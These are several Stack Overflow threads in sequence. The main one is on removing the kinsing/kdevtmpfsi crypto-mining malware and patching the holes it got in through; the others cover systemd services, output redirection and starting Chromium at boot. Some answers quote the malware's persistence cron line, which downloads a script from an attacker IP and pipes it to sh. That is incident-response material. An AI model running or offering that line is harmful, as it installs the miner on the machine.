Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Closed 1 year ago.
The community reviewed whether to reopen this question 7 months ago and left it closed:
Original close reason(s) were not resolved
Improve this question
We are using an EC2(Ubuntu) amazon instance for running Apache.Recently we noticed that there is a process using the entire CPU.
We removed it using the help of the following procedure
[root#hadoop002 tmp]# systemctl status 25177
● session-5772.scope - Session 5772 of user root
Loaded: loaded (/run/systemd/system/session-5772.scope; static; vendor preset: disabled)
Drop-In: /run/systemd/system/session-5772.scope.d
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf
Active: active (abandoned) since Wed 2020-01-22 16:06:01 CST; 1h 21min ago
CGroup: /user.slice/user-0.slice/session-5772.scope
├─19331 /var/tmp/kinsing
└─25177 /tmp/kdevtmpfsi
Jan 22 16:06:17 hadoop002 crontab[19353]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19354]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19366]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19374]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19375]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19383]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19389]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19390]: (root) LIST (root)
Jan 22 16:06:17 hadoop002 crontab[19392]: (root) REPLACE (root)
Jan 22 16:06:17 hadoop002 crontab[19393]: (root) LIST (root)
[root#hadoop002 tmp]# ps -ef|grep kinsing
root 19331 1 0 16:06 ? 00:00:04 /var/tmp/kinsing
root 25190 23274 0 17:27 pts/0 00:00:00 grep --color=auto kinsing
[root#hadoop002 tmp]# ps -ef|grep kdevtmpfsi
root 25177 1 99 17:27 ? 00:01:47 /tmp/kdevtmpfsi
root 25197 23274 0 17:28 pts/0 00:00:00 grep --color=auto kdevtmpfsi
[root#hadoop002 tmp]# kill -9 19331
[root#hadoop002 tmp]# kill -9 25177
[root#hadoop002 tmp]# rm -rf kdevtmpfsi
[root#hadoop002 tmp]# cd /var/tmp/
[root#hadoop002 tmp]# ll
total 16692
-rw-r--r-- 1 root root 0 Jan 13 19:45 aliyun_assist_update.lock
-rwxr-xr-x 1 root root 13176 Dec 20 02:14 for
-rwxr-xr-x 1 root root 17072128 Jan 19 17:43 kinsing
drwx------ 3 root root 4096 Jan 13 19:50 systemd-private-f3342ea6023044bda27f0261d2582ea3-chronyd.service-O7aPIg
[root#hadoop002 tmp]# rm -rf kinsing
But after a few minutes, It again started automatically. Anyone know how to fix this?
I had the same issue with Laravel in Centos 8, This is the steps I followed to remove the malware and patch the system.
Removing the malware from system steps:
Step 1:
Remove the malware:
Kill the two process (kdevtmpfsi and kinsing -They can be in the same name but with random characters at the end-) using htop or any other process manager.
htop F3 to search services kdevtmpfsi And kinsing
Use the following to find and delete the files:
# find / -iname kdevtmpfsi* -exec rm -fv {} \;
# find / -iname kinsing* -exec rm -fv {} \;
The output should look like:
removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'
Step 2:
Check for a cron job:
check if there is a cron job that would reinitialized the malware.
I found mine in: /var/spool/cron/apache >
UBUNTU /var/spool/cron/crontabs/www-data
It included the following :
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
Step 3:
Make new files and make them readonly:
# touch /tmp/kdevtmpfsi && touch /tmp/kinsing
# echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
# echo "kinsing is fine now" > /tmp/kinsing
# chmod 0444 /tmp/kdevtmpfsi
# chmod 0444 /tmp/kinsing
Patching Laravel project:
Step 1:
Turn off APP_DEBUG:
make sure that the APP_DEBUG attribute is false in .env because that's how the vulnerability gets access.
Step 2:
Update ignition:
Update ignition to a version higher than 2.5.1 to make sure the vulnerability is patched.
run the following in your project folder:
$ composer update facade/ignition
The solution mentioned here worked for us. You basically create the files the miner uses, without any rights, so the miner cannot create and use them.
https://github.com/docker-library/redis/issues/217
touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing
echo "everything is good here" > /tmp/kdevtmpfsi
echo "everything is good here" > /var/tmp/kinsing
touch /tmp/zzz
echo "everything is good here" > /tmp/zzz
chmod go-rwx /var/tmp
chmod 1777 /tmp
I face to face with it after i installed and run the Flink Cluster.
Seem like we are got a attack by a malware, it trying to use our server's cpu to run the program to mine the coin.
My solution is following steps:
Kill the program is running first:
Run htop and then push F9 to kill program. We have to kill kdevtmpfsi and kinsing as well.
Delete malware file which is will be run and using the entire CPU
(With my centos 7)
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
The result should be:
/tmp/kdevtmpfsi is removed
/var/tmp/kinsing is removed
Create a file with same name:
touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing
echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
echo "kinsing is fine now" > /var/tmp/kinsing
Now make two files is read-only with following command:
chattr +i /tmp/kdevtmpfsi
chattr +i /var/tmp/kinsing
** You should be reboot your server. If its problem is in a remote server, and you are connecting to it with a specify port, you can change to ssh port to increase security!
I've struggled with this miner for few days and in my case it was the php-fpm:9000 port exposed.
I guess it possible to inject some code remotly this way.
So if you use docker with php-fpm, do NOT run your container this way:
docker run -v /www:/var/www -p 9000:9000 php:7.4
Remove the port mapping: -p 9000:9000.
Don't forget to re-build & restart your containers.
More details here:
https://github.com/laradock/laradock/issues/2451#issuecomment-577722571
I also was affected by this malware and I was not using Docker or running the PHPUnit vulnerability. I found this post:
https://www.ambionics.io/blog/laravel-debug-rce
which describes there was a vulnerability in facade/ignition < 2.5.2 when using Laravel in Debug mode.
Extract of Laravel .env file:
...
APP_DEBUG=true
...
After updating facade/ignition with Composer to a version > 2.5.1 and stopping the malware (steps described in the other answers), it did not came back.
Extract of Laravel composer.json file
...
"facade/ignition": "^2.5.1",
...
...then run command
composer update facade/ignition
The other answer here is good, and you should do everything mentioned there. But, if the thing keeps coming back, and/or you aren't actually using Docker, you probably have an unpatched RCE vulnerability in phpUnit. The details are here:
https://www.sourceclear.com/vulnerability-database/security/remote-code-execution-rce/php/sid-4487
Our situation was:
Docker is not being used at all.
We had removed all files related to the miner.
We had locked things down using the above touch and chmod commands.
The damn thing kept trying to run at seemingly random times.
After you've locked things down with the touch/chmod changes, it can't actually DO anything, but it's still annoying, and that phpUnit vulnerability is a HUGE hole that needs plugging anyway.
Hope this helps.
Ok I've been facing the same issue as a lot of you. But my process was running as a postgres user. I suspect it was because I had opened up all incoming connections.
Yeah sure, my bad.
After trying all the solutions above none seemed to fix it permanently. It just kept spawning again with a slightly different name. No luck at all really.
First - protect agaisnt any other connections.
First things first, restrict connections in the postgres config file.
Usually found here. /etc/postgresql/12/main/postgresql.conf
Create a script to kill and remove kdevtmpfsi
Then create a new bash script in a location of your choosing..
nano kill.sh
Populate the file with the below.
#!/bin/bash
kill $(pgrep kdevtmp)
kill $(pgrep kinsing)
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
rm /tmp/kdevtmp*
rm /tmp/kinsing*
press ctrl + c to exit
kill will kill the process and the next 4 commands should delete the file(s).
We need to make the file executable with
chmod +x kill.sh
Set it to run on schedule
Ok great now if we set this up as a cron job to run every minute it should help solve the issue. (not an elegant solution but it works)
sudo crontab -e
The above command opens the crontab, a place were we can define scheduled tasks to run at set intervals.
Append this to the end.
* * * * * sh {absolutepath}kill.sh > /tmp/kill.log
ie
* * * * * sh /home/user/kill.sh > /tmp/kill.log
What the crontab entry does
* * * * * sets the time - this means every minute
sh /home/user/kill.sh runs the kill script
&
> /tmp/kill.log writes any output to file.
I know this is not a good solution. But it works.
It appears there are many vectors of attack in which this malware can be loaded onto the server. In my case the malware got to the machine through the docker:
# locate kdevtmpfsi
/var/lib/docker/overlay2/17be841bd29c[..]/diff/tmp/kdevtmpfsi
/var/lib/docker/overlay2/17be841bd29c[..]/merged/tmp/kdevtmpfsi
Docker by default exposes containers ports publicly, which is rather unfortunate. To fix it you will need to remove the malware and patch docker:
# First, stop all docker containers
$ docker stop $(docker ps -aq)
# Prune all images just for a good measure
$ docker system prune
# Kill current malware process
$ ps aux | grep kdevtmpfsi
70 21686 393 29.3 2873416 2402832 ? Ssl 22:01 19:22 /tmp/kdevtmpfsi116044092
$ kill -9 21686
# Remove any files with the name kdevtmpfsi
$ find / -iname kdevtmpfsi* -exec rm -fv {} \;
# You might need to repeat the last two commands couple times just in case
# Stop exposing docker ports with the use of IP tables
$ iptables -I DOCKER-USER -i eth0 -j DROP
$ iptables -I DOCKER-USER -m state --state RELATED,ESTABLISHED -j ACCEPT
# If no new kdevtmpfsi processes appear you should be good.
Malware is adapting and many of the solutions here do not work anymore. Experiment with few approaches till you figure our what was the vector of attack in your case.
I faced that issue and I solved it by running the following commands:
first login as a root an delete the user that has the process, in your case is www-data
sudo deluser --remove-home www-data
second kill the process of the user
killall --user www-data
I'm also facing the same issue in Ubuntu 18.04.5 LTS after deleting the malware files /tmp/kinsing & /tmp/kdevtmpfsi its generating automatically.
Fixing this issue created the bash script & set the cronjobs to run.
My solution is following steps:
Kill the program is running first:
Run htop and then push F9 to kill program. We have to kill kdevtmpfsi and kinsing as well.
Delete malware file which is will be run and using the entire CPU
#!/bin/bash
# kinsing deleteing here
PID=$(pidof kinsing)
echo "$PID"
kill -9 $PID
# /tmp/kinsing deleteing here (Some times it will run /tmp path)
PID=$(pidof /tmp/kinsing)
echo "$PID"
kill -9 $PID
# kdevtmpfsi deleteing here
PID=$(pidof kdevtmpfsi)
echo "$PID"
kill -9 $PID
# /tmp/kdevtmpfsi deleteing here (Some times it will run /tmp path)
PID=$(pidof /tmp/kdevtmpfsi)
echo "$PID"
kill -9 $PID
# Delete malware files
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
Save this one file (some-script.sh) configure the cronjobs for this
Step 1: Open crontab (the cron editor) with the following command.
$ crontab -e
Step 2: If this is your first time accessing crontab, your system will likely ask you which editor you'd prefer to use. In this example, we'll go with nano (type 1 and then Enter) since it's the easiest to understand.
$ crontab -e
no crontab for linuxconfig - using an empty one
Select an editor. To change later, run 'select-editor'.
1. /bin/nano <---- easiest
2. /usr/bin/vim.basic
3. /usr/bin/vim.tiny
4. /bin/ed
Choose 1-4 [1]:
Step 3: Make a new line at the bottom of this file and insert the following code. Of course, replace our example script with the command or script you wish to execute, but keep the */5 * * * * part as that is what tells cron to execute our job every 5 minutes.
*/5 * * * * /path/to/some-script.sh
Step 4: Exit this file and save changes. To do that in nano, you'd need to press Ctrl + X, Y, and then Enter.
That's all there is to it. Scheduling jobs in cron will run Every 5 Mins.
#!/bin/bash
kill $(pgrep kdevtmp)
kill $(pgrep kinsing)
kill $(pgrep dbused)
find / -iname kdevtmpfsi -exec rm -fv {} \;
find / -iname kinsing -exec rm -fv {} \;
find / -iname dbused -exec rm -fv {} \;
rm /tmp/kdevtmp*
rm /tmp/kinsing*
rm /tmp/dbused*
ps -ef | grep “givemexyz” | awk ‘{print $2}’| xargs pkill
ps -ef | grep “dbuse” | awk ‘{print $2}’| xargs pkill
rm -rf /bin/bprofr /bin/sysdr /bin/crondr /bin/initdr /usr/bin/bprofr /usr/bin/sysdr /usr/bin/crondr /usr/bin/initdr /tmp/dbused /tmp/dbusex /tmp/xms /tmp/x86_64 /tmp/i686 /tmp/go /tmp/x64b /tmp/x32b /tmp/2start.jpg
and
crontab -u gitlab -e
delete * * * * * (curl -fsSL $url/xms||wget -q -O-
I found all the above solutions helpful but all of them are seems the temporary solution as we need to monitor the instance and if we notice any malicious activity then do the same process again.
I have come across this virus around 1 month back and applied all the solutions above which works fine for the limited period after that, it will come again.
Even I didn't install docker in the system so docker open API port was not an issue.
But there are some open-source software which are the open gate for kinsing.
PhpMailer and Solr have some Remote Code Exec vulnerability cause the whole issue.
The easy solution is to upgrade your Solr version to 8.5.1 and there one more thing you can set as security which will 100% remove the virus and it will be permanent.
Here is the full explanation: https://github.com/amulcse/solr-kinsing-malware
in my case it run from www-data user:
helps this:
sudo crontab -u www-data -e
remove this line(cron job):
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
So, at the platform I worked at we had the same problem yep, on an ECS2 instance.
But our culprit was Redis, someone forgot to set a password on the day before and by morning we woke up to our dashboard notifying us about weird spikes of CPU usage.
If you want to verify that the malware is still running, run
ps aux | grep -v grep | grep 'kinsing|kdevtmpfsi'
If it outputs anything it means it is executing in some form.
Our solution was:
In our Redis database we deleted a bunch of keys called "backup1" "backup2", "backup3", "backup4".
Then we ssh to the server and used
sudo su root
ps aux | grep -v grep | grep 'kinsing\|kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
rm -dr /tmp/kdevtmpfsi
rm -dr /var/tmp/kdevtmpfsi
We also managed to download the script that was being scheduled to execute all the time through Redis and crontab, I assume it is what reinstalled the damned malware over and over again while we tried to remove it, its quite well made, it also kills other miners that it detects, besides trying to disable SELinux and apparmor and some other important stuff. Really amazing stuff.
I've pasted it here:
https://pastebin.com/jiifURXy
In some cases this may be due to a security breach found in a Laravel <= v8.4.2 on package facade/ignition. CVE-2021-3129
Here we have an article that explains how the malware works: Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)
This problem was resolved in version 2.4.2 of this package. (facade/ignition)
If I were in your place, I would consider your instance as compromised and create a new one. In the tests I did, the malware changes places and adapts to changes made to the system in an attempt to stop it.
Maybe this would be useful for somebody.
I've found some other entries of kinsing/kdevtmpfsi:
/etc/kinsing
/usr/lib/systemd/system/bot.service
In bot.service:
ExecStart=/etc/kinsing
I've just followed instructions from this tread, deleted both files, rebooted server.
Hope it will help for somebody. I've spent all day trying to solve it.
I found this solution to temporary stop the process from running (not using Docker/Redis, so the hole is most likely in phpunit):
/bin/setfacl -m u:www-data:--- /tmp/kinsing
/bin/setfacl -m u:www-data:--- /tmp/kdevtmpfsi
It will prevent user www-data (who, in my case, was running the process) from executing the script.
Also, you will most likely have a cronjob added under user www-data - remove it and run service cron restart!
Remember, that's a temp fix/hack. You must update the vulnerable software to permanently remove this thread!
If you tried all of the methods above but still the virus still shows up, maybe in a new name, you should check the opened ports of the server and that's where the malware got into your server.
For security, you should:
start the firewall.
if you need to visit some ports of the remote server, use Port Forwarding technique.
This will make your server be safe, and no more kdevtmpfsi.
For AWS users, remove allowing all ports(0.0.0.0/0) as outbound in instance security.
Task: Run chromium on startup on openSUSE
So far:
First I don't know what path to take, it's possible with Cron or from rc.local. I don't know which opinion is the best
Cron:
Figured out that it's not a very good idea
rc.local
So I have this script:
Fri Aug 11; 06:10:38; marton;/etc/init.d ; $ cat /etc/init.d/chrom_start.sh
#!/bin/bash
/usr/lib64/chromium/chromium
exit 0
I have permissions for the file:
Fri Aug 11; 06:11:09; marton;/etc/init.d ; $ ls -l /etc/init.d/chrom_start.sh
-rwxrwxr-x 1 root root 48 Aug 11 06:10 /etc/init.d/chrom_start.sh
openSUSE doesn't have update-rc.d
Fri Aug 11; 06:12:48; marton;/etc/init.d ; $ update-rc.d
If 'update-rc.d' is not a typo you can use command-not-found to lookup the package that contains it, like this:
cnf update-rc.d
I can't seem to find the example:
Fri Aug 11; 06:13:18; marton;/etc/init.d ; $ cat /etc/init.d/skeleton
cat: /etc/init.d/skeleton: No such file or directory
Somewhere I found that I have to use install job but it does not exist
Fri Aug 11; 06:20:35; marton;/etc/init.d ; $ %install
bash: fg: %install: no such job
So, if everything is alright, I just have to find a way to set the daemon to run on startup, what do I do next, considering that I don't have this skeleton file and these install job does not exist?
I don't know if it'll be of help on OpenSUSE, but here is a thread about "how to autostart Chromium" :
https://raspberrypi.stackexchange.com/questions/38515/auto-start-chromium-on-raspbian-jessie-11-2015
This may help too.
If you are using bash (it is the most probable scenario) you could edit your .bash_profile file, or .bash_login (both should be in your user's home directory).
You need to add at the end your chromium's path like:
/usr/bin/chromium&
the final & is to make it run as a background process. If you want to apply this change for every user you can edit your .bash_login file on /etc/skel
Hope it helps,
ps. here is an url that may help a bit.
http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_03_01.html
I've got a shell script as follows
ss.sh
#!/bin/bash
opFile="custom.data"
sourceFile="TestOutput"
./fc app test > $sourceFile
grep -oP '[0-9.]+(?=%)|[0-9.]+(?=[A-Z]+ of)' "$sourceFile" | tr '\n' ',' > $opFile
sed -i 's/,$//' $opFile
The requirement is that I need to use this script with the watch command. And I'd like to make this into a systemctl service. I did it as so.
sc.sh
#!/bin/bash
watch -n 60 /root/ss.sh
And in my /etc/systemd/system,
log_info.service
[Unit]
Description="Test Desc"
After=network.target
[Service]
ExecStart=/root/sc.sh
Type=simple
[Install]
WantedBy=default.target
When I run systemctl start log_info.service, It runs but not continuously the way I'd like it to.
On running sytemctl status log_info.service,
info_log.service - "Test Desc"
Loaded: loaded (/etc/systemd/system/info_log.service; disabled; vendor preset: enabled)
Active: failed (Result: exit-code) since Mon 2016-09-12 08:17:02 UTC; 2min 18s ago
Process: 35555 ExecStart=/root/sc.sh (code=exited, status=1/FAILURE)
Main PID: 35555 (code=exited, status=1/FAILURE)
Sep 12 08:17:02 mo-b428aa6b4 systemd[1]: Started "Test Desc".
Sep 12 08:17:02 mo-b428aa6b4 sc.sh[35654]: Error opening terminal: unknown.
Sep 12 08:17:02 mo-b428aa6b4 systemd[1]: info_log.service: Main process exited, code=exited, status=1/FAILURE
Sep 12 08:17:02 mo-b428aa6b4 systemd[1]: info_log.service: Unit entered failed state.
Sep 12 08:17:02 mo-b428aa6b4 systemd[1]: info_log.service: Failed with result 'exit-code'.
Any ideas as to why it's not running right? Any help would be appreciated!
So the reason I learnt (from superuser) for this failing was exactly what was in my error console, i.e,
Error opening terminal: unknown
Watch can only be executed from the terminal because it requires access to a terminal, while services don't have that access.
A possible alternative to watch could be using a command that doesn't require the terminal, like screen or tmux. Or, another alternative which worked for me, that was suggested by grawity on superuser, was
# foo.timer
[Unit]
Description=Do whatever
[Timer]
OnActiveSec=60
OnUnitActiveSec=60
[Install]
WantedBy=timers.target
The logic behind this was that, the need was to run the script every 60 seconds, not to use watch. Hence, grawity suggested that I use a timer unit file that calls the service file every 60 seconds instead. If the service unit was a different name from the timer unit, [Timer] Unit= can be used.
Hope this helped you and +1 to grawity and Eric Renouf from superuser for the answers!
I am trying to redirect output of a systemd service to a file but it doesn't seem to work:
[Unit]
Description=customprocess
After=network.target
[Service]
Type=forking
ExecStart=/usr/local/bin/binary1 agent -config-dir /etc/sample.d/server
StandardOutput=/var/log1.log
StandardError=/var/log2.log
Restart=always
[Install]
WantedBy=multi-user.target
Please correct my approach.
I think there's a more elegant way to solve the problem: send the stdout/stderr to syslog with an identifier and instruct your syslog manager to split its output by program name.
Use the following properties in your systemd service unit file:
StandardOutput=syslog
StandardError=syslog
SyslogIdentifier=<your program identifier> # without any quote
Then, assuming your distribution is using rsyslog to manage syslogs, create a file in /etc/rsyslog.d/<new_file>.conf with the following content:
if $programname == '<your program identifier>' then /path/to/log/file.log
& stop
Now make the log file writable by syslog:
# ls -alth /var/log/syslog
-rw-r----- 1 syslog adm 439K Mar 5 19:35 /var/log/syslog
# chown syslog:adm /path/to/log/file.log
Restart rsyslog (sudo systemctl restart rsyslog) and enjoy! Your program stdout/stderr will still be available through journalctl (sudo journalctl -u <your program identifier>) but they will also be available in your file of choice.
Source via archive.org
If you have a newer distro with a newer systemd (systemd version 236 or newer), you can set the values of StandardOutput or StandardError to file:YOUR_ABSPATH_FILENAME.
Long story:
In newer versions of systemd there is a relatively new option (the github request is from 2016 ish and the enhancement is merged/closed 2017 ish) where you can set the values of StandardOutput or StandardError to file:YOUR_ABSPATH_FILENAME. The file:path option is documented in the most recent systemd.exec man page.
This new feature is relatively new and so is not available for older distros like centos-7 (or any centos before that).
I would suggest adding stdout and stderr file in systemd service file itself.
Referring : https://www.freedesktop.org/software/systemd/man/systemd.exec.html#StandardOutput=
As you have configured it should not like:
StandardOutput=/home/user/log1.log
StandardError=/home/user/log2.log
It should be:
StandardOutput=file:/home/user/log1.log
StandardError=file:/home/user/log2.log
This works when you don't want to restart the service again and again.
This will create a new file and does not append to the existing file.
Use Instead:
StandardOutput=append:/home/user/log1.log
StandardError=append:/home/user/log2.log
NOTE: Make sure you create the directory already. I guess it does not support to create a directory.
You possibly get this error:
Failed to parse output specifier, ignoring: /var/log1.log
From the systemd.exec(5) man page:
StandardOutput=
Controls where file descriptor 1 (STDOUT) of the executed processes is connected to. Takes one of inherit, null, tty, journal, syslog, kmsg, journal+console, syslog+console, kmsg+console or socket.
The systemd.exec(5) man page explains other options related to logging. See also the systemd.service(5) and systemd.unit(5) man pages.
Or maybe you can try things like this (all on one line):
ExecStart=/bin/sh -c '/usr/local/bin/binary1 agent -config-dir /etc/sample.d/server 2>&1 > /var/log.log'
If for a some reason can't use rsyslog, this will do:
ExecStart=/bin/bash -ce "exec /usr/local/bin/binary1 agent -config-dir /etc/sample.d/server >> /var/log/agent.log 2>&1"
Short answer:
StandardOutput=file:/var/log1.log
StandardError=file:/var/log2.log
If you don't want the files to be cleared every time the service is run, use append instead:
StandardOutput=append:/var/log1.log
StandardError=append:/var/log2.log
We are using Centos7, spring boot application with systemd. I was running java as below. and setting StandardOutput to file was not working for me.
ExecStart=/bin/java -jar xxx.jar -Xmx512-Xms32M
Below workaround solution working without setting StandardOutput. running java through sh as below.
ExecStart=/bin/sh -c 'exec /bin/java -jar xxx.jar -Xmx512M -Xms32M >> /data/logs/xxx.log 2>&1'
Assume logs are already put to stdout/stderr, and have systemd unit's log in /var/log/syslog
journalctl -u unitxxx.service
Jun 30 13:51:46 host unitxxx[1437]: time="2018-06-30T11:51:46Z" level=info msg="127.0.0.1
Jun 30 15:02:15 host unitxxx[1437]: time="2018-06-30T13:02:15Z" level=info msg="127.0.0.1
Jun 30 15:33:02 host unitxxx[1437]: time="2018-06-30T13:33:02Z" level=info msg="127.0.0.1
Jun 30 15:56:31 host unitxxx[1437]: time="2018-06-30T13:56:31Z" level=info msg="127.0.0.1
Config rsyslog (System Logging Service)
# Create directory for log file
mkdir /var/log/unitxxx
# Then add config file /etc/rsyslog.d/unitxxx.conf
if $programname == 'unitxxx' then /var/log/unitxxx/unitxxx.log
& stop
Restart rsyslog
systemctl restart rsyslog.service
In my case 2>&1(stdout and stderr file descriptor symbol) had to be placed correctly,then log redirection worked as I expected
[Unit]
Description=events-server
[Service]
User=manjunath
Type=simple
ExecStart=/bin/bash -c '/opt/events-server/bin/start.sh my-conf 2>&1 >> /var/log/events-server/events.log'
[Install]
WantedBy=multi-user.target
Make your service file call a shell script instead of running the app directly. This way you have extra control. For example, you can make output files like those in /var/log/
Make a shell script like /opt/myapp/myapp.sh
#!/bin/sh
/usr/sbin/logrotate --force /opt/myapp/myapp.conf --state /opt/myapp/state.tmp
logger "[myapp] Run" # send a marker to syslog
myapp > /opt/myapp/myapp.log 2>&1 &
And your service file myapp.service contains:
...
[Service]
Type=forking
ExecStart=/bin/sh -c /opt/myapp/myapp.sh
...
A sample of log config file /opt/myapp/myapp.conf
/opt/myapp/myapp.log {
daily
rotate 20
missingok
compress
}
Then you will get myapp.log, and zipped myapp.log.1.gz ... for each time the service was started, and previous zipped.